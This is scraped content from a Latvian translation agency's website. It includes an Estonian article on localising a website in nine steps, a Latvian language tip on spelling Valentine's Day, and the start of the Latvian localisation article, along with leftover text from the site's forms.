vairāk MS Teams videokonferencē, lai sarunātu jums vēlamo tikšanās laiku, gaidīsim ziņu! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk MĀJASLAPAS TULKOŠANA UN LOKALIZĒŠANA Mājaslapas tulkošana un lokalizācija ir radošs un visaptverošs process, kura laikā teksts par produktu vai pakalpojumu tiek pielāgots konkrētas valsts vai reģiona tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija ļauj veidot dialogu ar citu valstu patērētājiem viņiem pierastā formā un manierē. Vairāk E-KOMERCIJA – INTERNETA VEIKALU TULKOŠANA UN LOKALIZĒŠANA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. Vairāk GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk --- > Pärast lokaliseerimist peaks teie veebisaidi tekst tunduma klientide jaoks loomulik. See peaks olema kergesti loetav, olles täielikult kooskõlas sellega, kuidas teie kliendid tavaliselt suhtlevad. - Published: 2023-02-08 - Modified: 2024-10-18 - URL: https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/ - Kategorijas: Raksti, Test - Translation Priorities: Optional TEIE VEEBISAIDI LOKALISEERIMINE 9 LIHTSA SAMMUGA KAS HEA TÕLKIJA ON KÕIK, MIDA VAJATE? Kahjuks on levinud palju väärarusaamu tõlkijate lokaliseerimisoskuse ja selle mõju kohta kvaliteedile, kui tõlkija töötab selliste oluliste projektidega nagu teie veebisait. Siinkohal kirjeldatud protsess on peamiselt mõeldud väikestele ja keskmise suurusega ettevõtetele (VKEd), sest kuigi ka suurettevõtted vajavad lokaliseerimist, on see nende puhul sageli rohkem äriühingu suuruse järgi kohandatud protsess. Kõigepealt selgitame välja, mida tähendab lokaliseerimine sisuliselt. MIS ON LOKALISEERIMINE? Tõlkimine on lihtsaim keeleteenus, mida keeleteenuse pakkuja teile pakkuda saab. See tähendab teksti tõlkimist lähtekeelest sihtkeelde, nii et selle tähendus oleks arusaadav. Tavaliste tekstide tõlkimisel võib piisata tõlkijast, sest nende keel on suhteliselt lihtne. Kui aga töötate turundusmaterjalidega, mis peaksid aitama teil kujundada oma ettevõtte mainet ja võita uuel turul sihtgrupi tähelepanu, on vaja midagi palju enamat. Lokaliseerimine tähendab teie tekstide kohandamist vastavalt uue turu sotsiaalsele ja kultuurikontekstile. Lokaliseerimisel käsitletakse kõiki tõlke mittetekstilisi osi: eesmärk; sihtrühma eripära ja vajadused; otsingumootorile optimeerimise ehk SEO nõuded; kasutajakogemuse ja -liidese aspektid ning paljud muud küsimused. . Pärast lokaliseerimist peaks teie veebisaidi tekst tunduma klientide jaoks loomulik. See peaks olema kergesti loetav, olles täielikult kooskõlas sellega, kuidas teie kliendid tavaliselt suhtlevad. Vaatleme järgnevalt üheksat sammu, kuidas oma veebisaiti õnnestunult lokaliseerida. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada 1. SAMM: ETTEVALMISTUS Otsus veebisaidi tõlkimise ja lokaliseerimise kohta tuleks hoolikalt läbi mõelda. Ehk olete otsustanud oma ettevõtte rahvusvaheliseks muuta, et vallutada uusi turge, mis on veebisaidi lokaliseerimiseks kõige ilmsem põhjus. Kui täheldate teistest riikidest pärit külastajate arvu suurenemist (Google Analyticsi või mõne muu veebianalüüsi vahendi abil), siis võib see olla hea aeg mõelda oma veebisaidi tõlkimisele ja lokaliseerimisele. Teine küsimus, mis tuleks läbi mõelda: mida teil on vaja täpsemalt lokaliseerida? Mõned ettevõtted lokaliseerivad oma veebisaitidel vaid põhiosad ja alamlehed. See ei ole aga alati hea mõte, sest tekitab tahtmatult ebajärjekindluse tunde. Kliendid võivad arvata, et see on seotud teie ettevõttega üldiselt. Kui töötate konkreetsete veebilehtedega, on sageli hea katsetada uue turu potentsiaali väiksemas ulatuses. Näiteks võite alustada tootelehekülgede lokaliseerimisega, et katsetada reklaame ja muid kohaliku turuga seotud elemente. Üldiselt on kõige kindlam lokaliseerida kõik veebisaidi elemendid, kuid see võib sõltuda mitmest tegurist, nagu turg, olemasolevad ressursid, tähtajad, ärieesmärgid ja tehniline sisu (vt 4. sammu). MUUD TEGURID, MIDA TULEKS ARVESSE VÕTTA Ettevalmistusprotsessi osana peate arvestama järgmiste põhiteguritega. Teie toode või teenus: kas saate lihtsalt hakata oma tooteid/teenuseid uuel turul pakkuma või peate neid sellele vastavaks kohandama? Hinnakujundus: kas teie hinnakujundusmudel töötab ka uuel turul? Sihtturg või -turud: milliste keelte, kultuuride ja demograafiliste rühmadega soovite suhelda? Meeskond: kas teie valduses on ressursse, mis aitavad teil oma veebisaiti lokaliseerida? Võib-olla on teie meeskonnas töötajaid, kes suudavad uusi kliente teenindada, või teisi spetsialiste, kes tunnevad uut sihtturgu – võite neid lokaliseerimisprotsessis kasutada. Sõltuvalt ettevõtte profiilist ja vajadustest võib abilisi olla rohkemgi. Lõpuks mõelge, millises vormis teenust te soovite. Lihtsuse huvides esitame järgnevalt kolm kõige enam levinud võimalust, mille vahel valida. Inimtõlge ja lokaliseerimine: kogu protsessi viivad ellu inimtõlkijad ja lokaliseerimisspetsialistid, kes toetuvad piiratud ulatuses arvutipõhise tõlkimise vahenditele. Masintõlge: kogu protsess toimub automaatselt masintõlkevahendite abil. Selleks on olemas ka palju nn tasuta vahendeid (selgitame neid mõnes järgnevas postituses). Hübriidlahendus: hõlmab nii masinapõhist kui ka inimtööd – tõlke alus luuakse masintõlkevahendiga ning seejärel toimetavad ja parandavad seda inimestest spetsialistid. Kui soovite, et teie veebisait näeks välja tõeliselt loomuliku keelega, peaksite keskenduma esimesele või kolmandale võimalusele. 2. SAMM: KLIENDI VAJADUSTE MÕISTMINE Te ei saa oma veebisaiti korralikult lokaliseerida, kui te ei tea, kes on teie sihtrühm. Riigi konkreetsed elanikerühmad võivad kasutada eri suhtlemisvorme, dialekte või isegi keeli. Enne lokaliseerimisprotsessi alustamist peate teadma, kas see on nii. Kliendi vajaduste mõistmine algab ostupersooni loomisega. See on teie ideaalse kliendi kujutis või arhetüüp. Ostupersoonid hõlmavad peamist demograafilist teavet teie sihtklientide kohta, samuti nende käitumist, motivatsiooni, kavatsusi ja nõrkusi. Ostupersooni loomiseks peate koguma uue turu kohta rohkem teavet ja ideaalis hankima oma analüüsivahendite abil usaldusväärseid andmeid. Samuti saate sihtturu paremaks mõistmiseks kasutada turuaruandeid ja muid ülevaateid. Kui te just ei ole äsja oma äritegevusega alustanud, siis selleks ajaks, kui asute oma veebisaiti teises keeles lokaliseerima, on teil tõenäoliselt juba välja kujunenud arusaam oma praegusest ostjaprofiilist – neid teadmisi tuleks uutele turgudele pürgimisel kindlasti kasutada! Teine oluline viis oma sihtturu mõistmiseks on kasutada märksõnade otsingut (vt 4. sammu). 3. SAMM: MEESKONNA LOOMINE JA KEELETEENUSE PAKKUJA LEIDMINE Lokaliseerimise head tulemust ei ole võimalik saavutada vaid ühe persooni abil. See on protsess, milles peaksid osalema paljud teie ettevõtte töötajad, sealhulgas järgmistes valdkondades: turundus; klienditeenindus/müük; veebisaidi hooldus, eriti kohandatud lahenduste puhul; lahenduste loomine. Iga valdkonna töötajal on eesmärkide ja nende täitmise seisukohast oma vaatenurk. Veenduge, et keegi vastutab ka projekti ulatuse kindlaksmääramise ja täitmise eest. Tehnilise toe abil peaksite saama teha tekstide väljavõtteid, mida kasutada eksperdi tasandil lokaliseerimiseks ja hinnapakkumiste koostamisel; seda kõike saavad teha nii ettevõtte töötajad kui ka kolmandad isikud. Kui tehniline tugi pole võimalik, võite kasutada ka veebis andmekoorimise meetodeid. Kui kaalute veebisaidi lokaliseerimist, tähendab see, et teil on veebisait juba olemas, seega on lihtne otsustada, millist lahendust vajate. Lahenduseks võib olla WordPress, Shopify, Drupal, Wix või midagi muud – igaühel neist on omad piirangud. Tavaliselt on hea mõte teha koostööd ettevõttega, kes aitab teil oma veebisaiti tõlkida ja lokaliseerida. Ettevõtted, mida tuntakse keeleteenuse pakkujatena, kasutavad spetsialiste, kes mõistavad sihtkeelt ja -kultuuri peensusteni. Nende hulka kuuluvad emakeelsed korrektorid ja kogenud tõlkijad. Nad võivad pakkuda tervikteenust, mis hõlmab kõigi teie turundustekstide tarbeks planeerimist, nõustamist, uurimistööd, lokaliseerimist ja korrektuuri, sealhulgas tehnilist tuge ja lõplikku katsetamist. Skrivanekis küsime veebisaidi sisu lokaliseerimisel alati kliendilt, millist üldist tooni peaksime kasutama. See tähendab, et teie tõlgitud veebisait vastab täielikult teie ootustele. Sellist tava peaksid järgima kõik keeleteenuse pakkujad. SAMM: OTSINGUMOOTORILE OPTIMEERIMINE JA METAANDMETEGA ARVESTAMINE Kõik teie veebisaidi tekstid on väga olulised, kuid tõlkimisel ja lokaliseerimisel tuleb arvestada palju enamaga. On olemas veebisaidiga seotud elemendid, mida kasutavad Google’i otsingumootorid ja muud veebiämblikud, et mõista, millest teie veebisaidil räägitakse, näiteks: metapealkirjad (pealkirjasildid) – kuvatakse Google’is (otsingutulemuste lehel) teie veebisaidi linkide pealkirjadena (nii näevad kasutajad neid ainult siis, kui teil on hea loomulik positsioon veebis); metakirjeldused – võtavad lühidalt kokku veebisaidi sisu ja need kuvatakse ka otsingutulemuste lehel; ALT-atribuudid – väikesed sisuosad, mis kirjeldavad seda, mida on võimalik näha kõigil teie veebisaidil avaldatud graafikutel, piltidel ja fotodel. Kas teadsite, et emotikone saab nüüd kasutada nii metakirjeldustes kui ka esiletoodud piltidel? Kõik see ja palju muud mõjutab kaudselt teie veebisaidi otsingumootorile optimeerimist. Lokaliseerimine võib innustada rohkem kasutajaid teie linkidele klõpsama! MÄRKSÕNADE OTSING Oluline teema on ka märksõnade otsing. Kui soovite Google’is võimalikult kõrgel kohal olla, nagu enamik meie kliente, siis on selleks vaja uurida, milliseid märksõnu ja võtmelauseid kasutajad ja kliendid teie turul kasutavad. Saadaval on palju tasuta märksõnade otsingu tööriistu, nt Google Keyword Planner; Keyword Surfer – SEO Chrome’i laiendus; Ubersuggest. Skrivanekis kasutame peamiselt kahte vahendit – Ahrefs ja Google Keyword Planner, sõltuvalt teie ärieesmärkidest. Märksõnade otsing võimaldab teil näha, milliseid tooteid potentsiaalsed kliendid otsivad ja kuidas nad seda teevad. Samuti näete, kes on teie peamised konkurendid, kuna ka nemad on esile toodud. Seejärel saate analüüsida, kuidas teie konkurendid ennast esitlevad, ja ühtlasi neilt õppida. Oleme täheldanud, et paljud ei kasuta otsingupäringus sõnapaari „veebisaidi lokaliseerimine“, vaid valivad selle asemel päringu „veebisaidi tõlkimine“, tuginedes sageli lühikestele ja kirjavigadega vormidele. Väärib märkimist, et kirjavigu saab rakendada ka teie ettevõtte huvides – kasutame neid edukalt ja soovitame seda ka teil paljudel juhtudel teha, sest need võivad anda häid tulemusi! Kui olete oma sihtturgu juba uurinud, võite esitada tulemused oma veebisaiti lokaliseerivale ettevõttele ja paluda neil oma sisu lokaliseerimisel uusi märksõnu arvesse võtta. Miks on see oluline? Valesti valitud märksõnad võivad uues sihtkeeles tuua kaasa vähem otsinguid, mis tähendab uuel turul vähem veebikülastusi. Skrivaneki märksõnade otsing põhineb kas lähtekeeles tehtud varasematel otsingutel või kliendi lühikirjelduse põhjal elluviidud uuel uuringul. NB! Märksõnade otsing on eriti oluline, kui teie ettevõttel on pikaajalised plaanid võidelda orgaanilises veebiliikluses parema koha eest. Kui aga teie peamine klientide allikas on Facebook, LinkedIn, Google või sarnaste platvormide reklaamid, ei pruugi positsiooni eest hoolitsemine veebiliikluses olla nii oluline. 5. SAMM: KÕIGI OMA LOKALISEERITUD TEKSTIDE ÜHES KOHAS HOIDMINE On tõenäoline, et teil on palju faile ja juhiseid, mis on seotud teie uue veebisaidi versiooniga. Alati on hea hoida kõiki neid dokumente ühes kohas ja pilvsalvestus on ilmselt parim lahendus. See tähendab, et teie töötajatel, töövõtjatel ja keeleteenuse pakkujal on kohene juurdepääs kõikidele vajalikele failidele nende uusimas versioonis. Pilveketta abil saate vältida paljusid probleeme, eriti neid, mis tulenevad asjaolust, et eri inimestel on juurdepääs sama faili eri versioonidele. Samuti tasub kasutada arvutipõhise tõlkimise vahendeid mitte ainult protsessi hõlbustamiseks, vaid ka oma veebisisu salvestamiseks. Loomulikult on alati parem omada veebi jaoks kordumatut lehe sisu, kuid mõned asjad jäävad siiski samaks ja neid võib tulevikus uuesti kasutada. Arvutipõhise tõlkimise käigus saadud mälu säilitamisel säästate raha korduste pealt, aitate kaasa tõlkeprotsessi kiirendamisele ja tagate, et teie tekstid jäävad sisutihedaks. Kui otsustate koostööd teha keeleteenuse pakkujaga, peaks tema käsutuses olema mõned arvutipõhise tõlkimise vahendid. 6. SAMM: LOKALISEERIMISE KONTROLLIMINE VASTAVAT KEELT EMAKEELENA KÕNELEJAGA Kuigi mitte igal emakeelena kõnelejal ei ole teie veebisaidi lokaliseerimiseks vajalikke oskusi, peaksite alati laskma vähemalt ühel neist oma veebiteksti enne selle veebi ülespanekut läbi lugeda. Kui teete koostööd tõlkebürooga, saavad nemad teid selles aidata. Ideaalis vajate kedagi, kes esindab teie sihtrühma, kuigi tuttavate peal (nt sõbrad ja pere) testlugemine on samuti hea meetod, kui teie ressursid on piiratud. Võib-olla soovite minna sammukese kaugemale ja panna kokku sihtrühma, et kontrollida teie uue veebisaidi tajutavust, kuid see ei ole üldjuhul vajalik. 7. SAMM: VEEBITEKSTI (JA UUE VEEBISAIDI) KATSETAMINE Enne uue veebisaidi käivitamist on väga oluline kontrollida, kas kõik näeb välja laitmatu ja töötab korralikult. Veenduge, et kõik alamlehed on nõuetekohaselt tõlgitud ja lokaliseeritud, et iga uue veebilehe kujundus näeb hea välja ja et kõik on tehniliselt toimiv. Katsetage veebilehte kindlasti nii mobiiltelefonis kui ka lauaarvutis. Analüütika ülevaade võib teile näidata, mis on teie ettevõtte jaoks oluline. Mõned elemendid, mida peate kontrollima, on järgmised: nimed, rahaühikud, mõõtmed, mõõtühikud; sisemised ja välised lingid; pildid ja nende atribuudid; menüü ja veebisaidi funktsionaalsus; makseprotsess; ostukorv; vastavus Google’i nõuetele (kasutage selle kontrollimiseks tasuta tööriista Google Lighthouse); kõik materjalid PDF-failidena allalaadimiseks/vaatamiseks. Keeleelemendid: vead (õigekiri, grammatika, kirjavahemärgid, kirjavead jne); kultuuriline asjakohasus (terminid, sõnad ja väljendid); tekstide üldine loetavus ja vastavus teie ettevõtte kaubamärgile. 8. SAMM: LOKALISEERITUD TEKSTI VEEBI ÜLESPANEK Kui olete oma ettevõtet juba mõnda aega edukalt juhtinud, siis peaksite olema üsna mugavas olukorras – võite kasutada sama sisuhaldussüsteemi (CMS) või e-kaubanduse platvormi, mida olete seni kasutanud, sest enamik neist tööriistadest pakub täielikku tuge eri keeleversioonidele. Mida teha, kui te alles alustate? Soovitame valida suhteliselt lihtsa lahenduse, mis toetab mitut keeleversiooni ilma lisakuludeta. See hõlmab nii sisuhaldussüsteemi kui ka e-kaubanduse platvorme, kui teil on veebipood. Kui kõik see on tehtud, on viimane samm võimaldada sujuvat üleminekut olemasolevate keeleversioonide vahel. See funktsioon võib olla osa peamenüüst, kuid saate seda valikut pakkuda ka päises või jaluses. 9. SAMM: MITTE KUNAGI EI TOHI JÄÄDA LOORBERITELE PUHKAMA! Lokaliseerimine, nagu ka kogu muu töö teie veebisaidil, on lõputu protsess seni, kuni teie ettevõte jätkab oma tegevust. Peaksite pidevalt jälgima, kuidas teie veebisait toimib, milliseid klientide arvustusi te saate ja milliseid küsimusi potentsiaalsed kliendid küsivad, millised teie veebisaidi ja internetis olemise aspektid üldiselt hästi toimivad ja milliseid valdkondi tuleb veel veidi kohandada. Sellise ennetava lähenemisviisi abil saate kiiresti reageerida turu muutustele ja pakkuda suurepärast kasutuskogemust kõigile, kes teie veebisaidile sisenevad, olenemata sellest, milliseid keeli kasutate. Kui vajate abi oma turundusmaterjalide, sealhulgas veebitekstide tõlkimisel ja lokaliseerimisel, siis aitame teid rõõmuga. Kirjutage meile ja vaatame, mida koos teha saame! --- > Kā pareizi rakstāms Mīlestības svētku dienas nosaukums? Ieskaties šajā latviešu valodas padomā un uzzini atbildi! - Published: 2023-02-07 - Modified: 2025-02-13 - URL: https://skrivanek.lv/sveta-valentina-diena-valentina-diena-vai-valentindiena/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SVĒTĀ VALENTĪNA DIENA, VALENTĪNA DIENA VAI VALENTĪNDIENA 1 Par Valentīndienas rašanos zināmas vairākas leģendas. Vai – Valentīna dienas? Ziņas par Valentīndienas rašanās vēsturi un pašu Svēto Valentīnu ir dažādas un neprecīzas. Viena no leģendām šīs dienas izcelsmi skaidro ar seno romiešu Luperkāliju festivālu, ar kuru februāra vidū atzīmēja pavasara tuvošanos, veicot dažādus rituālus auglības veicināšanai. Viena no svētku tradīcijām bija vīriešu un sieviešu salikšana pa pāriem ar loterijas palīdzību. Romas jaunavas uz zīmītes uzrakstīja savu vārdu un iemeta lielā urnā. Pilsētas neprecētie vīrieši izvilka pa zīmītei, tādējādi iegūstot sev pāri nākamajam gadam. Daļa no nejauši saliktajiem pāriem vēlāk arī apprecējušies. Pāvests Gelasijs I paziņoja, ka šāds rituāls ir pretrunā kristietībai, un to aizliedza. Lai cilvēkus atradinātu no pagānisko svētku svinēšanas, pāvests 498. gadā 14. februāri pasludināja par Svētā Valentīna dienu. Līdz 1969. gadam tie bija katoļu baznīcas atzīti svētki, taču pāvests Pāvils VI izsvītroja tos no liturģiskā kalendāra un Svēto Valentīnu – no svēto saraksta, jo par Svētā Valentīna dzīves gaitām trūka ticamu un pierādāmu liecību. Cita leģenda Valentīndienas izcelsmi saista ar priestera Valentīna nāvi. Lai gan ir ziņas par vairākiem kristiešiem – mocekļiem Valentīniem, pastāv uzskats, ka šī diena nosaukumu aizguvusi no priestera un ārsta, kurš kļuva par mocekli kristiešu vajāšanas laikā ap 270. gadu imperatora Klaudija II valdīšanas laikā. Atrazdamies apcietinājumā, priesteris Valentīns iemīlējās jaunavā, kas esot bijusi cietumsarga meita, kurai, pēc dažām liecībām, izārstēja smagu acu slimību. Naktī pirms nāvessoda priesteris atklāja savas jūtas jaunavai un parakstīja vēstuli “no Tava Valentīna”. Vēl kāda leģenda vēsta par priesteri Valentīnu, kurš pārkāpis imperatora pavēles un slepeni salaulājis pārus, lai izglābtu vīriešus no došanās karā. Tieši šī iemesla dēļ svētku diena esot asociēta ar mīlestību. Imperators Klaudijs secinājis, ka neprecēti vīrieši ir labāki karotāji nekā tie, kuriem ir ģimene, tāpēc aizliedza jauniem vīriešiem precēties. Kad imperators atklāja priestera pārkāpumu, to sodīja ar nāvessodu, kas ticis izpildīts 270. gada 14. februārī. Pastāv arī versija, ka diena nosaukta par godu citam moceklim – Svētajam Valentīnam no Ternas Itālijā. Iespējams, šie priesteri ir bijusi viena un tā pati persona, par kuras dzīvesstāstu laika gaitā izveidojušās vairākas leģendas. * *izmantots materiāls no Nacionālās enciklopēdijas, vairāk skat. šeit. Kā redzams, versiju par svētku izcelsmi ir daudz, tādēļ visi minētie rakstības varianti ir pieļaujami. Tomēr Skrivanek, kā ierasts, atgādina: ja izvēlaties vienu no šiem variantiem lielāka apjoma tekstam, tad ievērojiet konsekvenci un lietojiet tikai šo vienu variantu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pēc jūsu tīmekļa vietnes lokalizācijas tai jābūt saprotamai, viegli lasāmai, pilnībā atbilstot tam, kā ikdienā sazināsjūsu klienti - Published: 2023-02-06 - Modified: 2025-07-15 - URL: https://skrivanek.lv/timekla-vietnes-lokalizesana-9-vienkarsos-solos/ - Kategorijas: Raksti - Translation Priorities: Optional TĪMEKĻA VIETNES LOKALIZĒŠANA 9 VIENKĀRŠOS SOĻOS VAI NEPIECIEŠAMS TIKAI LABS TULKOTĀJS? Diemžēl pastāv daudzi maldīgi priekšstati par tulkotāju lokalizācijas prasmēm un to, kā tas var ietekmēt darbu ar svarīgiem resursiem, piemēram, jūsu tīmekļa vietni. Šeit aprakstītais process galvenokārt attiecas uz maziem un vidējiem uzņēmumiem (MVU), jo, lai gan arī lieliem uzņēmumiem nepieciešama lokalizācija, to gadījumā bieži vien tas ir vairāk pielāgots process. Pirms mēs turpinām, ko īsti nozīmē lokalizācija? KAS IR LOKALIZĀCIJA? Tulkojums ir visvienkāršākais ar valodu saistītais pakalpojums, ko piedāvā jūsu valodas pakalpojumu sniedzējs. Tas ir teksta pārtulkošanas process no avota valodas mērķa valodā, lai mērķauditorija varētu saprast tā nozīmi. Tulkojot oficiālus dokumentus, var pietikt ar tulkotāju, jo valoda ir salīdzinoši vienkārša. Tomēr, ja jūs strādājat pie mārketinga materiāliem, kam jāpalīdz veidot uzņēmuma tēlu un jāpanāk mērķauditorijas iesaiste konkrētajā valstī, jums ir nepieciešams kas vairāk. Daudz vairāk. Lokalizācija ir process, kurā jūsu teksti tiek pielāgoti konkrētajam tirgum, ņemot vērā mērķauditorijas valodas un kultūras īpatnības. Lokalizācija aptver visas ar tekstu nesaistītās tulkojuma sastāvdaļas: mērķi; konkrētās mērķauditorijas specifiku un tās vajadzības; SEO prasības; lietotāju pieredzes/saskarnes (UX/UI) aspektus. Un daudzus citus faktorus. Pēc lokalizācijas jūsu tīmekļa vietnei ir jābūt saprotamai. Tai jābūt viegli lasāmai, pilnībā atbilstot tam, kā ikdienā sazinās jūsu klienti. Tāpēc aplūkosim deviņus soļus, kā veiksmīgi lokalizēt jūsu tīmekļa vietni. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācija, vēlams norādīt arī tīmekļa vietnes URLKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt 1. SOLIS: SAGATAVOŠANĀS Lēmumam tulkot un lokalizēt tīmekļa vietni jābūt pārdomātam. Iespējams, esat nolēmis savu uzņēmumu paplašināt starptautiskā mērogā, lai iekarotu citu tirgu, un tas ir acīmredzamākais iemesls, kāpēc nepieciešams lokalizēt tīmekļa vietni. Piemēram, ja novērojat datplūsmas pieaugumu no citām valstīm (izmantojot Google Analytics vai jebkuru citu tīmekļa analīzes rīku), tas varētu būt labs signāls, ka ir laiks apsvērt iespēju tulkot un lokalizēt tīmekļa vietni. Otra lieta, kas jāizvērtē, ir tas, ko jums patiesībā nepieciešams lokalizēt. Daži uzņēmumi lokalizē tikai galvenos tīmekļa vietņu elementus un atsevišķas vietnes sadaļas. Tā ne vienmēr ir laba ideja, jo tā neapzināti rada nekonsekvences sajūtu, ko klienti var uzskatīt par jūsu uzņēmuma raksturiezīmi. Ja strādājat pie konkrētām mērķlapām, bieži vien ir ieteicams pārbaudīt jaunā tirgus potenciālu nelielā mērogā. Piemēram, varat sākt ar konkrētām produktu lapām, lai pārbaudītu reklāmas un citus ar konkrēto vietējo tirgu saistītus elementus. Kopumā visdrošākais variants ir lokalizēt visus ar tīmekļa vietni saistītos elementus, taču tas var būt atkarīgs no daudziem faktoriem, piemēram, tirgus, pieejamajiem resursiem, termiņiem, uzņēmējdarbības mērķiem un tehniskā satura (skatīt 4. soli). CITAS LIETAS, KAS JĀŅEM VĒRĀ Sagatavošanās procesā jāņem vērā vairāki galvenie faktori: Jūsu produkts vai pakalpojums: vai varat uzsākt piedāvāt savus produktus/pakalpojumus jaunajā tirgū, vai varbūt jums tie jāpielāgo konkrētajam tirgum? Cenu noteikšana: vai jūsu cenu noteikšanas sistēma darbosies arī jaunajā tirgū? Mērķa tirgus(-i): kādās valodās, ar kādām kultūrām un demogrāfiskajām grupām vēlaties veidot saziņu? Komanda: vai jums ir resursi, kas varētu sniegt palīdzību lokalizēt tīmekļa vietni? Iespējams, jūsu komandā ir darbinieki, kas var apkalpot jaunos klientus, vai citi speciālisti, kas pārzina jauno mērķa tirgu – jūs varat viņus izmantot šajā procesā. Atkarībā no jūsu uzņēmuma profila un vajadzībām, 